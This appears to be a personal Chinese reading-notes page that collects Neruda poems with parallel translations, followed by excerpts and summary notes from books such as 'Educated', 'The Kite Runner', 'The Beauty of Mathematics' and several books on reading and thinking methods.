We have lost even this twilight..

No one saw us this evening hand in hand.

while the blue night dropped on the world.

I have seen from my window

the fiesta of sunset in the distant mountain tops.

Sometimes a piece of sun

burned like a coin between my hands.

I remembered you with my soul clenched

in that sadness of mine that you know.

Where were you then?

Who else was there?

Saying what?

Why will the whole of love come on me suddenly

When I am sad and feel you are far away?

The book fell that is always turned to at twilight

and my cape rolled like a hurt dog at my feet.

Always,always you recede through the evenings

towards where the twilight goes erasing statues.

译文其一

我们失去了黄昏的颜色。

蓝色的夜坠落在世界上，

夜里没人看见我们手牵著手。

从我的窗户中我已经看见

在遥远的山顶上落日的祭典。

有时候一片太阳

在我的双掌间如硬币燃烧。

当我的灵魂与你所明了的哀伤紧紧相系时

我忆及了你。

彼时，你在哪里呢？

那里还有些什么人？

说些什么？

为什么当我哀伤且感觉到你远离时，

全部的爱会突如其然的来临呢？

暮色中如常发生的，书本掉落了下来，

我的披肩像受伤的小狗蜷躺在脚边。

总是如此，朝暮色抹去雕像的方向

你总是藉黄昏隐没。

译文其二

我们甚至遗失了这个黄昏。

今晚无人看到我俩手挽着手，

当蓝色之夜降临世间。

我透过我的窗户看见

远山之巅落日的祭典。

有时，一枚夕阳

如同硬币在我双手间焚烧

我忆及了你，我的灵魂紧攥于

你所熟悉的我的哀伤中。

彼时，你在哪里？

与谁同在？

私语些什么？

为何当我悲伤而感到你遥不可及，

全部的爱情会突然降临?

惯于在暮色中打开的书简掉在地上，

我的披肩蜷缩在脚下，像只受伤的小狗。

向来，你向来借助夜色隐没

向着暮色抹去雕像的方向。

我喜欢你是寂静的（I Like For You To Be Still）

英文

I like for you to be still: it is as though you were absent,

and you hear me from far away and my voice does not touch you.

It seems as though your eyes had flown away

and it seems that a kiss had sealed your mouth.

As all things are filled with my soul

you emerge from the things, filled with my soul.

You are like my soul, a butterfly of dream,

and you are like the word Melancholy.

I like for you to be still, and you seem far away.

It sounds as though you were lamenting, a butterfly cooing like a dove.

And you hear me from far away, and my voice does not reach you:

Let me come to be still in your silence.

And let me talk to you with your silence

that is bright as a lamp, simple as a ring.

You are like the night, with its stillness and constellations.

Your silence is that of a star, as remote and candid.

I like for you to be still: it is as though you were absent,

distant and full of sorrow as though you had died.

One word then, one smile, is enough.

And I am happy, happy that it's not true.

译文其一

我喜欢你是寂静的，彷佛你消失了一样，

你从远处聆听我，我的声音却无法触及你。

好像你的双眼已经飞离远去，

如同一个吻，封缄了你的嘴。

如同所有的事物充满了我的灵魂，

你从所有的事物中浮现，充满了我的灵魂。

你像我的灵魂，一只梦的蝴蝶，

你如同忧郁这个字。

我喜欢你是寂静的，好像你已远去。

你听起来像在悲叹，一只如鸽悲鸣的蝴蝶。

你从远处听见我，我的声音无法企及你：

让我在你的沈默中安静无声。

并且让我藉你的沈默与你说话，

你的沈默明亮如灯，简单如指环。

如黑夜，拥有寂静与群星。

你的沈默就是星星的沈默，遥远而明亮。

我喜欢你是寂静的：彷佛你消失了一样，

遥远而且哀伤，彷佛你已经死了。

彼时，一个字，一个微笑，已经足够。

而我会觉得幸福，因那不是真的而觉得幸福。

译文其二

我喜欢你沉默不语，就像你消失了一般，

你远远倾听着我，而我的声音却捉摸不到你。

似乎你的眼神已经游离，

如同一个亲吻封缄了你的嘴。

如同万物充实了我的灵魂，

你从万物中浮现，充实了我的灵魂。

梦中的蝴蝶，你宛如我的灵魂，

你谐同“忧郁”这个词汇。

我喜欢你沉默不语，就像你已走远。

听起来你似乎在咏叹，一如鸽哨般喁喁蜜語的蝴蝶。

你远远倾听着我，而我的声音却无法企及你：

让我在你的沉默中陷入寂静。

且让我藉着你的沉默向你表白，

你的沉默明亮如灯盏，简洁如指环。

你宛如夜晚，寂静无声且群星密布。

你的沉默有如星星，遥远而纯洁。

我喜欢你沉默不语，就像你消失了一般，

遥远且满怀忧伤，仿佛你已逝去。

此时一句话，一丝微笑，就已足够。

而我很欣慰，庆幸那并非事实。

我在这里爱你（Here I Love You）

英文

Here I love you.

In the dark pines the wind disentangles itself.

The moon glows like phosphorous on the vagrant waters.

Days, all one kind, go chasing each other.

The snow unfurls in dancing figures.

A silver gull slips down from the west.

Sometimes a sail. High, high stars.

Oh the black cross of a ship.

Alone.

Sometimes I get up early and even my soul is wet.

Far away the sea sounds and resounds.

This is a port.

Here I love you.

Here I love you and the horizon hides you in vain.

I love you still among these cold things.

Sometimes my kisses go on those heavy vessels

that cross the sea towards no arrival.

I see myself forgotten like those old anchors.

The piers sadden when the afternoon moors there.

My life grows tired, hungry to no purpose.

I love what I do not have. You are so far.

My loathing wrestles with the slow twilights.

But night comes and starts to sing to me.

The moon turns its clockwork dream.

The biggest stars look at me with your eyes.

And as I love you, the pines in the wind

want to sing your name with their leaves of wire.

译文其一

我在这里爱你。

在黑暗的松林里，风解缚了自己。

月亮像磷光在漂浮的水面上发光。

白日，日复一日，彼此追逐。

雪以舞动的身姿迎风飘扬。

一只银色的海鸥从西边滑落。

有时是一艘船。高高的群星。

哦，船的黑色的十字架。

孤单的。

有时我在清晨苏醒，我的灵魂甚至还是湿的。

远远的，海洋鸣响并发出回声。

这是一个港口。

我在这里爱你。

我在这里爱你，而且地平线徒然的隐藏你。

在这些冰冷的事物中我仍然爱你。

有时我的吻藉这些阴郁的船只而行，

穿越海洋永无停息。

我看见我自己如这些古老的船锚一样遭人遗忘。

当暮色停泊在那里，码头变得哀伤。

而我的生命变得疲惫，无由的渴求。

我爱我所没有的。你如此的遥远。

我的憎恶与缓慢的暮色搏斗。

但夜来临并开始对我歌唱。

月亮转动他齿轮般的梦。

最大的星星藉著你的双眼凝视著我。

当我爱你时，风中的松树

要以他们丝线般的叶子唱你的名字。

译文其二

我在这儿爱你。

在幽暗的松林里，风解缚了自己。

月亮在荡漾的水面上像磷火一样闪光。

白昼，日复一日，彼此追逐。

雪花舞姿招展。

银白的水鸥在西边滑翔。

间或有一片帆，高高的星宿。

哦，船的黑色十字架。

孑然。

有时我从清晨醒来，甚至我的灵魂也是湿的。

远处海在呜鸣，伴着回响。

这是一个港湾。

我在这儿爱你。

我在这儿爱你，地平线徒然将你隐藏。

在这些冰冷事物中，我依然爱你。

有时我的亲吻乘上沉重的船舶。

漂洋过海，无从停靠。

我目睹自己如那些旧锚一般遭到遗忘。

当午后停泊在那里，码头变得凄凉。

我的生命变得疲倦，了无旨意的渴求。

我爱着我无从拥有的，你是如此遥远。

我的憎恨与迟缓的暮色争斗。

而夜幕降临，并开始为我歌唱。

月亮上紧了它梦的发条。

最大的星星藉着你的眼睛凝望着我。

当我爱你时，风中的松树

便用它们丝丝针叶吟唱你的名字。

明天，我要和昨天的你约会

词语

  • 筅xian3

句子

　　我发现最近自己无论遇到任何事，都会想到她。

　　看到有趣的地方，就想带她一起来看；吃到好吃的食物，希望她也可以品尝。

　　夕阳已经西沉，空气渐渐染成冰冷的蓝色。

　　“什么事？”

　　“我一直都看着你。”

　　我一时说不出话。

　　“你一定可以成为从事创作的人。”

　　她的声音中有一种高寿以前不曾感受过的质感。虽然他不了解是什么，却深深打动了他。

　　当阿姨松开他时，有那么一刹那，他觉得有点冷。

　　“我这个人，”

　　“嗯？”

　　她微微带着歉意地垂着眼睛说：

　　“我不是疗愈系，虽说别人经常这么以为。”

　　“没关系。”

　　“我很任性，有时候会强烈地表达自我。”

　　“没关系。”

　　“而且很容易被食物影响情绪。”

　　“没关系。”

　　“没关系吗？”

　　“没关系。”

　　“是喔……”

　　她好像吃了什么美味的食物般小声呢喃着。 　　“那就请你继续好好关照。”

　　她有点害羞地开玩笑说道，我也开玩笑地恭敬回答： 　　“彼此彼此。”

　　用钥匙打开门，很有自己的家、独立的感觉。我很喜欢这个瞬间。

数学之美

  • 2012 是那个时候太阳纪的最后一年，所以被谣传成世界末日

  • 西方拼音文字统称罗马式的语言（Roman Language）

  • 上下文无关文法，算法复杂度基本上是语句长度的二次方 而对于上下文有关文法，复杂度基本上是语句长度的六次方

  • 统计语言模型

  • 马尔科夫假设

  • 罗塞塔石碑

  • 不同语言的冗余度差别很大，汉语在所有语言中冗余度是相对小的

  • 小学生和中学生其实没必要花那么多时间读书 中学阶段花很多时间比同伴多读的课程，上大学以后用很短时间就能读完 学习和教育是持续一辈子的过程 少年班的做法不足取

  • 布尔代数对于数学的意义等同于量子力学对于物理学的意义，它们将我们对世界的认识从连续状态扩展到离散状态

  • 爬虫

    • 定义
    • 从任意一个网页出发，用图的遍历算法，自动访问到每一个网页并把它们存起来
    • 其他
    • 一个商业的网络爬虫需要有成千上万个服务器，并且通过高速网络连接起来
    • 搜索引擎的网络爬虫问题更应该定义成“如何在有限时间里最多地爬下最重要的网页”
    • 在搜索引擎的爬虫里，BFS 要明显优于 DFS，但此处的 BFS 是相对复杂的下载优先级排序方法，一般称为调度系统

  • TF-IDF（Term Frequency / Inverse Document Frequency，关键词频率 / 逆文本频率指数）

  • 向量的方向具有很大意义

  • 虚词的权重是一种噪音

  • 两个事物之间的相似度可以提取特征值，用余弦定理求

  • 奇异值分解

  • 信息指纹的用途

  • 密码学相关

    • 好的密码必须做到根据已知的明文和密文的对应推断不出新的密文内容
    • 同文密电在密码学上是大忌
    • RSA 密码原理
    • 公开密钥在原理上非常可靠，但很多加密系统在工程实现上留下了不少漏洞

  • 部分降噪实现原理：加上频率相同、振幅相反的信号

  • 搜索引擎反作弊的一个工具是图论，另外还需要一定时间

  • 格里高利日历，今天的日历历法

  • 关于数学模型

    • 一个正确的数学模型在形式上应当是简单的
    • 一个正确的模型一开始可能不如一个精雕细琢过的错误模型来得准确，但是如果我们认定大方向是对的，就应该坚持下去
    • 大量准确的数据对研发很重要
    • 正确的模型也可能受噪音干扰，而显得不准确；这时不应该用一种凑合的修正方法加以弥补，而是要找到噪音的根源，这也许能通往重大的发现

  • 最大熵原理指出，对一个随机事件的概率分布进行预测时，我们的预测应当满足全部已知的条件，而对未知的情况不要做任何主观假设

  • 认知科学的研究表明，在脱稿输入时，拆字的过程会使思维变慢，并且一心不能二用

  • 维特比算法是针对一个特殊的图——篱笆网络的有向图最短路径问题而提出的，整个维特比算法的复杂度是 O(N * D^2)

  • 码分多址：接收者在接收到不同信号时，通过密码过滤掉自己无法解码的信号，留下和自己密码对应的信号即可，由于这种方法是根据不同的密码区分发送的，因此称为码分多址

  • 期望最大化算法： 首先，根据现有的模型，计算各个观测数据输入到模型中的计算结果，这个过程称为期望值计算过程(Expectation)，或者 E 过程；接下来，重新计算模型参数，以最大化期望值，此过程称为 M 过程。这一类算法都称为 EM 算法。

  • EM 算法如果优化的目标函数是一个凸函数，那么一定能保证得到全局最优解，而如果不是，则不保证

  • 人工神经网络和贝叶斯网络

    • 共同点
      • 都是有向图，遵从马尔科夫假设
      • 训练方法类似
      • 处理效果相似，但效率可能会不同
      • 计算量都特别大
    • 不同点
      • 人工神经网络在结构上完全标准化，而贝叶斯网络更灵活
      • 贝叶斯网络更容易考虑上下文前后的相关性，因此可以解码一个输入的序列
      • 人工神经网络的训练算法相对简单，容易并行实现，而贝叶斯网络不一定能够并行化

  • L-BFGS(Limited-memory Broyden Fletcher Goldfarb Shanno Method0) 比一般梯度下降法收敛更快

  • NP 问题

你当像鸟飞往你的山

句子

　　我的哥哥们就像一群狼。他们频繁地试探对方，一旦有哪个小点儿的突然长大，梦想着往上爬，便会爆发混战。

　　爸爸活在对时间的恐惧中。他感觉时间在他身后紧追不舍。从他不时忧心忡忡地瞥一眼划过天空的太阳，从他焦急地掂量每支管子或每根钢条，我能看出这一点。

　　我这一生中，这些直觉一直在教导我一个道理——只有依靠自己，胜算才更大。它们比我清楚，从高处摔下来也比指望爸爸插手强。

　　现在我仍然不清楚他那么说是什么意思，但我当时的理解是，我可以相信自己：我身上有某种东西，某种先知们具有的东西，它不论男女，也不分老少，是一种内在的、不可动摇的价值。

　　“我不知道怎么解，”他边说边把那张纸递给我，“我只知道，这就是答案。”

　　我被这张奇特的纸所震撼：爸爸可以掌握这门科学，可以破译其语言和逻辑，可以从中弯转、扭曲、挤压出真相，但他的解答过程却呈现出一片混乱。

　　对我来说重要的不是爱情或友情，而是我自欺欺人的能力：相信自己很坚强。

　　承认不确定性，就是被迫承认自己的软弱和无能，但也意味着你相信你自己。这是一个弱点，但这个弱点中透出一股力量：坚信活在自己的思想中，而不是别人的思想中。

　　我常常在想，那天晚上我写下的最有力的话，是否并非源自愤怒，而是出于怀疑：我不知道。我只是不知道。

　　他的声音很温柔，那种温柔很残酷。我宁愿他大喊大叫。如果他大喊大叫，我就会生气，一生气，我就感觉自己很强大。

　　我说着，他听着，将我身上的耻辱感一点点消除，就像医生把感染的伤口一点点治好。

　　自从学期开始我第一次去上国际事务课起，我就一直在想，我是不是出了什么问题。我一直在想，为什么身为女人，我却对女性化的东西不感兴趣。

　　父亲的那个形象我将永远铭记：他脸上的表情充满爱意、恐惧和失落。

　　我站在尼克家的阳台上，看着闪电划破长空，听着隆隆雷声。那一刻我恍若回到了巴克峰，感受到天地间如此巨大的威力。

　　我看着她，就在我这么做的时候，她将我拉到身边，抱住了我。她身上的湿气渗进我的衣服，我感觉到水珠从她的头发上滴落至我的肩膀。

段落

　　母亲陷入沉默。她开车的时候，我仔细打量着她。仪表盘上的灯光照亮了她的脸，在一片漆黑的乡间道路上，她的脸色苍白得有如鬼魂。恐惧蚀刻进她的面容，在她紧锁的眉头和紧闭的双唇里。单独和我在一起，她放下了人前的伪装。她又是那副老样子，脆弱，呼吸急促。

　　据奶奶说，一百年前，一支阿帕奇部落曾在那些褪色的岩石上与美国骑兵交战。部落人数不占优势，战斗以他们的失利而告终。剩下能做的便是等死。战斗开始后不久，勇士们就被困在了一块岩脊上。他们不愿遭受战败的耻辱，在奋力突破骑兵队时被一个个砍死，于是骑上马背冲下了山崖。当阿帕奇的女人们在下面的岩石上找到丈夫们的碎尸时，她们放声痛哭，绝望的眼泪一落到地面，便化作了石头。

　　奶奶从未告诉我们那些女人的结局。阿帕奇部落身陷战事却了战士，所以也许是她觉得结局太残酷，没有说出口。我的脑海闪现“屠宰”一词，因为这个词就是为此，为一方毫无抵抗的战斗而设。这是我们在农场用的词。我们屠宰鸡鸭，并不需要与它们战斗一番。勇士们的英勇很可能换来一场屠杀。他们是英雄，死了，而他们的妻子成了奴隶，也死了。

　　“我叫查尔斯。”他说。他停顿了一下，等着我说我的名字，但我没吭声。“我在上一出剧里见过你。”过了一小会儿，他又说：“我想告诉你一件事。“我做好准备，不知道他要说什么，然后他说：“我想告诉你，你的歌声是我听过的最好听的。“　

　　这一刻定义了我对那一晚的记忆，以及之后长达十年之久很多类似的夜晚的记忆。在这样的记忆中，我看到的是一个坚不可摧、像石头一样难以对付的自己。起初我仅仅是让自己相信这一点，直到有一天它变成了现实。然后我才能坦诚地告诉自己，这对我没有影响，他没有影响到我，因为没有什么可以影响我。我不明白我的这种正确是多么病态，不明白自己是如何掏空了自己。尽管我一直被那晚的后果所困扰，但我误解了最重要的事实：它没有影响我，这本身就是它的影响。

　　父亲坐在我对面，看着他憔悴的脸，我突然悟出一个强大的事实，不知道为何我以前从未意识到这点。事实是：我不是一个好女儿。我是一个叛徒，羊群中的一匹狼。我有一些地方与众不同，这种不同很不好。我想咆哮，想扑倒在父亲的膝头哭泣，发誓自己再也不这么做了。但我是狼，我还在撒谎，无论如何他会嗅出谎言。我们都心知肚明，如果再看到肖恩躺在公路上，浸泡在血色之中，我还是会做出同样的选择。

　　我并不后悔，只是感到惭愧。

　　我们在公路外的田野里见了最后一面。我们身后是高耸的巴克峰。他说他爱我，但这超出了他的能力范围。他不能拯救我。能拯救我的只有我自己。

　　我从未允许自己拥有这样的特权：不确定，但拒绝让位于那些声称确定的人。我的一生都活在别人的讲述中。他们的声音铿锵有力，专制而绝对。之前我从未意识到，我的声音也可以与他们的一样有力。

　　我坐在床上，双膝贴在胸前，听着他们的喊叫。我怀孕了吗？我不确定。我仔细回忆和男孩的每一次互动，每一个眼神，每一次触碰。我走到镜子前，撩起衬衫，然后用手指抚摸腹部，一寸一寸地检查，心想，也许吧。

　　我从没吻过一个男孩。

　　我明白了疾病不是一种选择。这些知识也许会让我对父亲产生同情，但并没有。我只感到愤怒。我想，我们才是付出代价的人。母亲。卢克。肖恩。我们伤痕累累，瘀青、擦伤、脑震荡、腿着火、脑袋开花。我们一直生活在一种警觉的状态和持续的恐惧之中，我们的大脑充斥着皮质醇，因为我们知道那些事情随时可能发生。因为爸爸总是把信念置于安全之前。因为他相信自己是正确的，在经历了第一次车祸、第二次车祸、垃圾箱疗伤、着火、托盘坠落这些事件后，他仍坚持相信自己是对的。付出代价的是我们。

　　“但从我认识你以来，你口口声声只谈论法学院，”我说，“学法律是你的梦想，难道不是吗？”

　　“没错，”他承认道，“但假如我是女人，情况就不一样了。女人天生不同。她们没有这个野心。她们的野心在孩子身上。”他朝我笑了笑，好像我知道他在说什么似的。我的确知道。我笑了，有几秒钟我们达成了一致。

　　接着我又问：“但假如你是女人，你的感觉和现在一模一样呢？”

　　乔希出神地盯着墙壁看了一会儿，认真思考这个问题。过了片刻，他说：“那我就知道是我自己出了问题。”

　　怎样遣词造句才算合理？一个人为了你，与父亲和家人疏远，你该如何道歉？也许没有合适的词句来表达。你该如何感谢一个不肯弃你而去的哥哥？就在你决定不再挣扎，任凭自己下沉时，正是他抓住你的手，将你拽上了岸。这一切，没有语言能够形容。

如何阅读一本书

  • 书的分类

    • 一类书：现实问题及解决之道
    • 二类书：思想需求
    • 三类书：工具书
    • 四类书：休闲娱乐消遣

  • 阅读的四个层次

    • 基础阅读(Elementary Reading)：认字并理解意思
    • 检视阅读(Inspection- Reading)：概括大意，抓住思想和要点
    • 分析阅读(Analyti- Reading)：精准把握，可以复述大意和细节，理解消化
    • 主题阅读(Syntopi- Reading)：比较阅读，某一主题的认识
    • 泛读、略读、精读

  • 提升阅读速度的步骤

    • 拓宽视野
    • 视线跳跃
    • 视野垂直扩展
      • 顺逆时针波浪线
      • 折线型移动
    • 快速翻页阅读
    • 永远不要回读

  • 读取信息

    • 最简单的方式：按存储的方式逆向而行
    • 或者：情景再现

  • 重复阅读

    • 不做无目的重复
    • 不做无新意重复
    • 不做无效用重复

  • 理解书籍

    • 明白作者怎么写
    • 清楚什么才是自己的
    • 不迷信权威也不迷信自己
    • 不钻牛角尖换角度思考
    • 不要忘记对自己提问

  • 写故事

    • 不同的叙事手法
    • 阅读故事的方法

  • 书的谋篇布局

    • 开篇结尾
    • 章节、层次、过渡、照应
    • 主次详略

  • 选书还是选人？选自己需要的

  • 学以致用

    • 写有定式，读无套路
    • 书中之言，皆为人言
    • 学以致用，方为正道

  • 杠杆阅读术

    • 读书，然后理解后用在事务上

  • RIA 拆书法

    • 阅读 Reading
    • 解释 Interpretation
    • 挪用 Appropriation

  • 读书四问

    • 书讲了什么
    • 解决了什么问题
    • 说得有道理吗
    • 和自己有什么关系

  • 评论一本书的禁忌

    • 在完成全书大纲或能诠释之前评论
    • 争强好胜
    • 知识的正误与个人观点的差异混为一谈

麻省理工深度思考法

  • 本质 = 模型 × 动力机制

  • MIT 明星课程《系统动力学》

    • 抛去细枝末节，发掘事物背后的模型和动力机制
    • 捕捉本质

  • 九大思维定势

    • 初级定势
      • 因果倒置
      • 满足于普通解
    • 可能陷入两难窘境的严峻定势
      • 依赖框架
      • 范围适应
      • 思考止于关键词
      • 执着于初步假设
    • 不能迈入思考大门
      • 忘记思考初衷
      • 偏重过程（法律程序正义除外）
      • 失去独立思维

  • 人的意志其实很薄弱，比起通过改变意志去改变行动，改变行动更容易改变意志

  • 现象是模型和动力机制的结果

  • 系统动力学从全局出发和捕捉，不还原要素，不分治也不分解

  • 系统动力学中模型又称“因果循环图”“因果连锁图”

  • 动力机制

    • 是模型随时间流逝产生的运动及结果
    • 模型的改变与问题的真正解决紧密相连

  • 深度思考法四个步骤

    • 建立模型
    • 解读动力机制
    • 寻找改变模型的对策
    • 行动，从实践中获取反馈

  • 建立模型的条件

    • 必须包含应考虑的要素和因果关系
      • 否则无法研究现象与动力机制的产生机理
    • 简洁
      • 不能横跨多张纸，否则还是不够浓缩

  • 思考模型

    • 首先要分辨是哪种循环（正循环或者负循环）
    • 五个要素
      • 输入源
      • 输出点
      • 竞争关系
      • 合作关系
      • 影响者
    • 增加厚度
      • 考虑层次结构
      • 持有分层意识
    • 注重因果，无视相关

  • 检验模型

    • 改变主语/视角再次思考，看是否妥当
    • 向他人展示
    • 是否有趣

  • 静态图不存在动力机制

  • 动力机制六种代表性模式

    • 逐渐增长
    • 成长和衰减
    • 上下波动
    • S 型曲线
    • 生命周期
    • 趋近目标

  • 动力机制探究要点

    • 流量存量分开
    • 进行非线性解读
    • 探究作用与反作用
    • 从各视角思考
      • 每视角每一步都要预测多步

  • 动力机制解读方法

    • 探究拐点
    • 研究相变
      • 相变是动力机制不再连续
      • 相变的两个契机
        • 大量积累直到超过阈值
        • 影响模型的要素发生剧变
    • 锁定本源动力
      • 引发根本性相变的驱动力
      • 建立函数

  • 动力机制的验证

    • 探索因果尽头
    • 是否可以编成故事

  • 改变模型才是解决问题的真正方法，不要改变现象

  • 能改变模型的支点是以最小努力获取最大效果的关键

    • 支点往往与本源动力相关
    • 或者作为模型中存量性的要素

  • 寻找改变模型的对策

    • 正确理解前提条件
    • 寻根究底
      • So what?
      • Why so?
      • True?
    • 原因不一定接近结果
    • 将思考范围扩展到受影响的方方面面
    • 提升视角
      • 尝试偶尔放下眼前的问题
    • 想一想“该如何思考”
      • 思考顺序
      • 判断标准

  • 要输出首先要输入，即思考

  • 提高深度思考能力的 6 个日常训练方法（ 可以当成扯皮 ）

    • 从报纸杂志的报道标题开始联想
      • 不看标题推测内容
    • 增加“思考的雏形”
      • 增加模型的雏形，锻炼类比能力
        • 因急速增长而破裂的模型
        • 基于良性循环的增长模型
        • 专注本质性能的模型
        • 脱离零和游戏
      • 增加有趣素材
    • 让思维可视化
      • “可视化”可以从不完整模型开始
      • 批判性看待所建模型
      • 白板是深度思考的强力武器
    • 用自己的观点与他人的观点碰撞
    • 磨练历史观
      • 本源动力下运动的历史
    • 解决无解的问题
      • 向经典学习

附注：金融工程学的进步源于对股价波动背后的模型及动力机制的解读。这个理论发现，金融市场中股价的变化与浮于水面的微粒不停做无规则运动（也称为布朗运动）的现象有相同的模型及动力机制。

快速抓重点，过目不忘的阅读术

  • 三类书：
    • 不看也行
    • 无需快速阅读
    • 可快速阅读
  • 九一法则
    • 九成可快速，一成无需快速
  • 为写而读可吸收
  • 去除多于阅读可多加“摘引”
    • “摘引”要浓缩
  • 阅读更像寻宝，而非收藏
  • 一句话感想很有用
  • 三类段落可以不看
    • 为了商品差异化而插入的“作者自述”
      • 要是想看故事看看也行
    • 证明观点的论据
    • 夸张表达
      • 诸如“读完此书，你 的人生会有变化”
  • 快速化阅读四大步骤
    • 仔细阅读“前言”“目录”
    • 阅读开头和末尾五句
    • 确定关键重点再阅读
    • 以两种以上阅读节奏阅读
  • 明确阅读目的
  • 关键字搜寻阅读法
  • 一边划线一边阅读会给人营造一种积极上进的假象
  • 决定阅读顺序和阅读时间
  • 务必挑一两本“没啥兴趣读的书”
    • 克制“只挑所好”
    • 凡他人推荐，可以一律全收
  • 整理书架时，书脊朝外，时间排列为基本
  • 以前留下的书现在未必依然应该保留
  • 以阅读为手段，会变成修行，收获并不会太多

附注：美国人气作家 丁 · 雷 · 昆士（De- R- Koontz）曾在《畅销小说撰写技巧》（How to Write Best Selling Fiction）一书中写道：“务必把主角逼到走投无路，然后以皆大欢喜的结尾收场，否则无法满足读者。”

追风筝的人

词语

  • 阴鸷(zhi4)：阴险凶狠

  • 怙(hu4)持：凭借，仗恃，通常含贬义

  • 修葺(qi4)：修缮（建筑物）

  • 狡狯(kuai4)：狡猾

句子

　　为你，千千万万遍。

　　阿里转过身，看到我正学着他。他什么也没说。当时没说，以后也一直没说，他只是继续走。

　　接着他坐在皮沙发上，把酒杯放下，把我抱在他的膝盖上。我觉得自己好像坐在一对树干上。

　　我合上双眼，耳朵更加紧贴着门版，又想听，又不想听。

　　不过爸爸说起这些故事的时候，从来没有提到阿里是他的朋友。

　　有个男人发现了一个魔法杯，得知如果他对着杯子哭泣，掉进杯里的眼泪会变成珍珠。可尽管一贫如洗，他却是个快乐的家伙，罕得流泪。于是他想方设法，让自己悲伤，以便那些眼泪会变成他的财富。珍珠越积越多，他越来越贪婪。小说的结尾是，那男人坐在一座珠宝山上，手里提着刀，怀中抱着他深爱着的妻子死于非命的尸体，无助地将眼泪滴进魔法杯。

　　一阵突如其来的罪恶感将我淹没，我跑进卫生间，在水槽里吐了。

　　就在同一个夜晚，我学到了写作的目标之一：讽刺；我还学到了写作的陷阱之一：情节破绽。芸芸众生中，惟独哈桑教给我。这个目不识丁、不会写字的哈桑。

　　后来我告诉自己，我没有嫉妒哈桑，一点都没有。

　　说来讽刺，正是从那个冬天之后，哈桑便不再微笑了。

　　我喜欢喀布尔的冬天。我喜欢夜里满天飞雪轻轻敲打我的窗户，我喜欢新霁的积雪在我的黑色胶靴下吱嘎作响，我喜欢感受铁炉的温暖，听寒风呼啸着吹过街道、吹过院子。

　　规则很简单：放起你的风筝，割断对手的线，祝你好运。

　　如果追风筝的人手里拿着风筝，没有人能将它拿走。这不是规则，而是风俗。

　　让他看看，他的儿子终究非同凡响，那么也许我在家里孤魂野鬼般的日子就可以结束。

　　也许，只是也许，他最终会原谅我杀了他的妻子。

　　“记住，阿米尔少爷，没有鬼怪，只是个好日子。”我对他脑海盘桓的念头常常一无所知，可是我在他面前怎么就像一本打开的书？到学校上学的人是我，会读书写字的人是我，聪明伶俐的也是我。哈桑虽然看不懂一年级的课本，却能看穿我。这让人不安，可是有人永远对你的需求了如指掌，毕竟也叫人宽心。

　　突然间我腾空而起，从空中望着自己。黑色的皮衣，红色的围巾，褪色的牛仔裤。一个瘦弱的男孩，肤色微黄，身材对于十二岁的孩子来说显得有些矮小。他肩膀窄小，黑色的眼圈围着淡褐色的眼珠，微风吹起他淡棕色的头发。他抬头望着我，我们相视微笑。

　　时至今日，我无法扯谎说自己当时没有查看风筝是否有什么裂痕。

　　只有拉辛汗，坐在副驾驶的位子上，紧邻着爸爸，一言不发。他的眼神奇怪地看着我。

　　我想起哈桑的梦，那个我们在湖里游泳的梦。那儿没有鬼怪。他说，只有湖水。但是他错了。湖里有鬼怪，它抓住哈桑的脚踝，将他拉进暗无天日的湖底。我就是那个鬼怪。

　　自从那夜起，我得了失眠症。

　　我扯开阿塞夫的礼物外面那层包装纸，借着月光端详书的封面。那是一本希特勒自传。我将它扔在杂草中。

　　在一次短暂的闪光中，我看到永世不会忘记的情景：哈桑端着银盘，服侍阿塞夫和瓦里喝酒。那阵光芒消失了，又是一声嘶嘶，一声爆裂，接着是一道橙色的火光：阿塞夫狞笑着，用一根指节敲打着哈桑的胸膛。

　　他明知我背叛了他，然而还是再次救了我，也许是最后一次。那一刻我爱上了他，爱他胜过爱任何人，我只想告诉他们，我就是草丛里面的毒蛇，湖底的鬼怪。我不配他作出的牺牲，我是撒谎蛋，我是骗子，我是小偷。

　　对我来说，美国是个埋葬往事的地方。

　　对爸爸来说，这是个哀悼过去的地方。

　　早在地雷像死亡的种子那样遍布、儿童被草草掩埋之前，对我来说，喀布尔就已成了一座鬼魂之城，一座兔唇的鬼魂萦绕之城。

　　我对自己所处的有利地位感到畏怯，而这全都因为，我赢得了那场决定我性别的基因博彩。

　　我驱车离开。透过观后镜，爸爸正走上塔赫里家的车道，尽最后一次为人父的责任。

　　我怀疑，在很多方面，索拉雅·塔赫里都比我好得多。勇气只是其中之一。

　　晚餐桌上，索拉雅坐在我对面。我想像着她把头放在我胸膛上，闻着她的秀发，那该是什么感觉呢？我想像着亲吻她，跟她做爱。

　　曲终人散，索拉雅和我第一次并排躺着。终我一生，周围环绕的都是男人。那晚，我发现了女性的温柔。

　　爸爸毕生都在和熊搏斗。痛失正值芳年的妻子；独自把儿子抚养成人；离开他深爱的家园，他的祖国；遭受贫穷、屈辱。而到了最后，终于来了一只他无法打败的熊。但即便这样，他也绝不妥协。

　　听到这些，我才明白自己的生活、身上的秉性有多少是来自爸爸，才知道他在人们的生命中留下的烙印。终我一生，我是“爸爸的儿子”。如今他走了。爸爸再也不会替我引路了，我得自己走。

　　“索拉雅？”

　　“怎么了？”

　　“我开始想他了。”

　　索拉雅将我拉近，泪水终于掉下来。

　　凡是女人都需要丈夫，即使他扼杀了她唱歌的天赋。

  • 暴论

　　但我认为，我不在乎别人的过去，很大一部分原因，是由于我自己也有过去。我全都知道，但悔恨莫及。

　　有时，我发现墓碑上摆着一束新鲜的小苍兰，就知道索拉雅刚刚来过。

　　我想起拉辛汗，还有那鼓励我写作的字条，那是他读了我写的第一个故事之后写下的。我想起哈桑。总有一天，奉安拉之名，你会成为了不起的作家。他曾经说。全世界的人都会读你的故事。

　　索拉雅一路上哭着回家。

　　我们都有不收养的理由。索拉雅有她的理由，将军有他的理由，而我的理由是：也许在某个地方，有某个人，因为某件事，决定剥夺我为人父的权利，以报复我曾经的所作所为。也许这是我的报应，也许这样是罪有应得。也许事情不是这样的。雅米拉阿姨说。或者，也许事情注定是这样的。

　　有时候，索拉雅睡在我身旁，我躺在床上，听着纱门在和风吹拂下开开关关，听着蟋蟀在院子里鸣叫。我几乎能感知到索拉雅子官里的虚空，它好像是个活着的、会呼吸的东西。它渗进我们的婚姻，那虚空，渗进我们的笑声，还有我们的交欢。每当夜阑人静，我会察觉到它从索拉雅身上升起，横亘在我们之间。像新生儿那样，睡在我们中间。

  • 暴论

　　“来吧。这儿有再次成为好人的路。”拉辛汗在挂电话之前说了这句话。不经意间提起，却宛如经过深思熟虑。

　　十五年的琴瑟和鸣让我们变得心有灵犀。

